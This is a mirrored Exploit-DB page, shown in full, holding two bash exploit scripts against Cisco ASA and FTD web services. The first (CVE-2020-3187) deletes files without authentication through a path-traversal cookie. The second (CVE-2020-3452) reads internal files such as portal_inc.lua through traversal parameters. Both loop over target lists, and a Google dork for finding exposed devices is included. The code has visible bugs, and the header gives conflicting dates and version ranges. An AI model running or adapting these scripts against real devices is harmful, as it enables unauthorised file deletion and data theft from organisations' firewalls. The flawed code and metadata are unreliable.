Cisco Adaptive Security Appliance Software 9.7 – Unauthenticated Arbitrary File Deletion

• Exploit Database
• 123 阅读

• 作者： 0xmmnbassel
  日期： 2020-07-29
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/48723/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190

  # Exploit Title: Cisco Adaptive Security Appliance Software 9.7 - Unauthenticated Arbitrary File Deletion # Google Dork: inurl:/+CSCOE+/ # Date: 2020-08-27 # Exploit Author:0xmmnbassel # Vendor Homepage: https://www.cisco.com/c/en/us/products/security/asa-firepower-services/index.html#~models # Version: Cisco ASA Software>=9.14 except 9.11 Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60 # Vulnerability Type: unauthenticated file deletion # Version: Cisco ASA Software releases 9.5 and earlier, as well as # Release 9.7, have reached end of software maintenance. Customers are # advised to migrate to a supported release that includes the fix for # this vulnerability. # CVE : CVE-2020-3187   #!/bin/bash   delete="csco_logo.gif"     helpFunction() { echo "" echo -e "\t\tCVE-2020-3187" echo "" echo "Usage: $0 -l targets.txt -d csco_logo.gif " echo -e "\t-l for list of IPs in text file" echo -e "\t-d file to be deleted, default: ./+CSCOE+/csco_logo.gif" echo -e "\t-i for single IP test" exit 1 }   while getopts "l:d:i:" opt do case "$opt" in l ) input="$OPTARG" ;; d ) delete="$OPTARG" ;; i ) website="$OPTARG" ;; ? ) helpFunction ;; esac done     #if $website is empty or $input is empty if [ -z "$website" ] && [ -z "$input" ] then echo "Some/all of the parameters are empty"; helpFunction fi   #usage   if [ -z "$input"]; then status=$(curl -LI $website/+CSCOU+/$delete -o /dev/null -w &apos;%{http_code}\n&apos; -s) echo "checking if $website has the $delete file" if [ $status -eq 200 ]; then echo "$website/+CSCOU+/$delete exists, deleting it..." curl -H "Cookie: token=..//+CSCOU+/$delete" -v -s -o resultsindv.txt $website/+CSCOE+/session_password.html delcheck=$(curl -LI $website/+CSCOU+/$delete -o /dev/null -w &apos;%{http_code}\n&apos; -s) if [ delcheck -eq 404]; then echo "Deleted!, $website is vulnerable to CVE-2020-3187." else echo "Cannot Delete $website/+CSCOU+/$delete file, check it manaully!" fi else echo "$website/+CSCOU+/$delete doesn&apos;t exist!" fi   else while IFS= read -r line do echo "Checking $line if file $delete exist.." #echo $response status=$(curl -LI $line/+CSCOU+/$delete -o /dev/null -w &apos;%{http_code}\n&apos; -s) if [ $status -eq 200 ]; then echo "$line/+CSCOU+/$delete exists, deleting it..." curl -H "Cookie: token=..//+CSCOU+/$delete" -v -s -o results.txt $line/+CSCOE+/session_password.html   #for no verbosity #curl -H "Cookie: token=..//+CSCOU+/$delete" -s -o results.txt $line/+CSCOE+/session_password.html delcheck=$(curl -LI $line/+CSCOU+/$delete -o /dev/null -w &apos;%{http_code}\n&apos; -s) if [ delcheck -eq 404]; then echo "Deleted!, $line is vulnerable to CVE-2020-3187." else echo "Cannot Delete $line/+CSCOU+/$delete file, check it manaully!" fi else echo "$line/+CSCOU+/$delete doesn&apos;t exist!" fi done < "$input"     fi         #!/bin/bash     read="%2bCSCOE%2b/portal_inc.lua"     helpFunction() { echo "" echo -e "\t\tCVE-2020-3452" echo "" echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua " echo -e "\t-l for list of IPs in text file" echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua" echo -e "\t-i for single IP test" exit 1 }   while getopts "l:r:i:" opt do case "$opt" in l ) input="$OPTARG" ;; r ) read="$OPTARG" ;; i ) website="$OPTARG" ;; ? ) helpFunction ;; esac done       #if $website is empty or $input is empty if [-z "$website"] && [ -z "$input" ] then echo "Some/all of the parameters are empty"; helpFunction fi   #usage     if [ -z "$website"]; then while IFS= read -r line do name=$(echo $line | cut -c9-19) #echo "testing $line" filename="$name.txt" #echo $response status=$(curl -LI$line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read-o /dev/null -w &apos;%{http_code}\n&apos; -s)   if [ $status -eq "400" ]; then echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn&apos;t exist!" else wget"$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt   if [ -s $filename ]; then echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..." echo "downloaded!, $line is vulnerable to CVE-2020-3452."   else echo "not vulnerable!" rm -rf $filename fi fi done < "$input" else   name=$(echo $website | cut -c9-16) filename="$name.txt"   status=$(curl -LI$website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read-o /dev/null -w &apos;%{http_code}\n&apos; -s) if [ $status -eq "Bad Request" ]; then echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn&apos;t exist!" else   echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..." wget"$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt if [ -s $filename ]; then echo "downloaded!, $website is vulnerable to CVE-2020-3452." else echo "not vulnerable!" rm -rf $filename fi fi   fi